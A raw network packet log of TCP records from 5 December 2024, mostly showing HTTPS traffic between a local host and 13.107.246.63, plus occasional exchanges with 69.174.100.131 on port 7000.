Dec 5, 2024 14:02:28.220369101 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.220410109 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.220417023 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.224689960 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.224756002 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.224818945 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.224987030 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.225003958 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.515309095 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.516155005 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.516186953 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.516486883 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.516494989 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.709485054 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.710037947 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.710059881 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.710880995 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.710886955 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.951905966 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.952018976 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.952290058 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.952290058 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.952418089 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.952439070 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.955334902 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.955369949 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.955615044 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.955749035 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.955760956 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.144177914 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.148701906 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.148751974 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.148971081 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.149043083 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.149043083 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.149064064 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.149074078 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.156143904 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.156156063 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.156384945 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.157563925 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.157577991 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.336246967 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.349431038 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.349455118 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.363276005 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.363282919 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.541697979 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.553437948 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.553452969 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.563606024 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.563612938 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.770561934 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.774862051 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.774924040 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.902286053 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.902323008 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.902337074 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.902344942 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.928114891 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.928159952 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.928251028 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.946887970 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.950346947 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.950377941 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.971122026 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.971155882 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.972511053 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.972517014 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.976103067 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.976135969 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.976191044 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.976207018 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.976244926 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.976310015 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.977555990 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.977567911 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:29.977577925 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:29.977582932 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.009437084 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.009476900 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.009551048 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.011212111 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.011225939 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.399600029 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:30.408910036 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.408927917 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.408987999 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.408998966 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.409296989 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.409302950 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.409317017 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.409462929 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.409492016 CET	443	49927	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.409537077 CET	49927	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.412010908 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.412046909 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.412204027 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.412369967 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.412380934 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.520065069 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:30.691637993 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.692382097 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.692390919 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.693147898 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.693151951 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.916802883 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.917493105 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.917504072 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:30.918404102 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:30.918409109 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.126549959 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.129995108 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.130058050 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.130062103 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.130100965 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.130120993 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.130134106 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.130147934 CET	49928	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.130152941 CET	443	49928	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.134685040 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.134740114 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.134807110 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.135091066 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.135107994 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.352399111 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.355838060 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.355886936 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.355897903 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.355911970 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.355964899 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.356004953 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.356009960 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.356024981 CET	49929	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.356029987 CET	443	49929	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.359030962 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.359045982 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.359330893 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.359487057 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.359498024 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.666748047 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.667998075 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.668004990 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:31.668654919 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:31.668661118 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.018137932 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.019026041 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.019053936 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.021564007 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.021569967 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.103064060 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.106518984 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.108856916 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.109138012 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.109158039 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.109472036 CET	49930	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.109483957 CET	443	49930	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.113557100 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.113593102 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.113817930 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.114295006 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.114310026 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.131659985 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.132757902 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.132771015 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.133106947 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.133111000 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.243268967 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:32.362983942 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:32.453097105 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.456866026 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.456923008 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.457377911 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.457379103 CET	49931	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.457401991 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.457411051 CET	443	49931	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.516956091 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.516988993 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.517105103 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.548408031 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.548425913 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.566219091 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.569861889 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.569926977 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.571772099 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.571791887 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.571805954 CET	49932	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.571813107 CET	443	49932	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.691406965 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.691441059 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.691503048 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.691816092 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.691823959 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.911067963 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.927875042 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.927895069 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:32.937035084 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:32.937041044 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.077997923 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.078668118 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.078676939 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.079408884 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.079412937 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.350629091 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.354104042 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.354154110 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.354156017 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.354214907 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.354259968 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.354275942 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.354285955 CET	49933	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.354293108 CET	443	49933	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.357642889 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.357675076 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.357764006 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.357894897 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.357911110 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.509568930 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:33.512568951 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.516074896 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.516192913 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.516278028 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.516283989 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.516345978 CET	49934	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.516350985 CET	443	49934	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.519294977 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.519309044 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.519457102 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.519700050 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.519711018 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.630156994 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:33.831346989 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.832434893 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.832434893 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:33.832452059 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:33.832464933 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.273534060 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.273562908 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.273607016 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.273622036 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.273716927 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.274164915 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.274180889 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.274343967 CET	49935	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.274348974 CET	443	49935	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.275000095 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.276521921 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.276534081 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.277120113 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.277124882 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.279623032 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.279644966 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.279742002 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.279947042 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.279959917 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.414840937 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.416996956 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.417010069 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.419042110 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.419047117 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.710542917 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.713892937 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.713949919 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.714030027 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.714030027 CET	49936	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.714050055 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.714061975 CET	443	49936	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.717924118 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.717978954 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.718054056 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.718238115 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.718250036 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.861140013 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.864371061 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.864413977 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.864423037 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.864434004 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.864485979 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.864902020 CET	49937	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.864912987 CET	443	49937	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.872519970 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.872561932 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:34.872644901 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.876169920 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:34.876187086 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.076133013 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.078006029 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.078021049 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.079220057 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.079236984 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.237123013 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.239146948 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.239161015 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.239975929 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.239980936 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.654659033 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.655618906 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.661575079 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.698769093 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.701925993 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.709624052 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.805591106 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.805591106 CET	49938	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.805608034 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.805617094 CET	443	49938	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:35.837596893 CET	49939	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:35.837615013 CET	443	49939	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.007288933 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.067974091 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.067974091 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.067994118 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.068010092 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.097001076 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.097050905 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.097851038 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.097856998 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.097908020 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.098028898 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.099203110 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.099220991 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.099956989 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.099973917 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.434968948 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.435556889 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.435575008 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.436084986 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.436090946 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.442451000 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.445404053 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.445461035 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.445502043 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.445513964 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.445523024 CET	49940	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.445528030 CET	443	49940	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.448699951 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.448743105 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.448812008 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.448950052 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.448962927 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.599342108 CET	443	49942	13.107.246.63	192.168.2.6
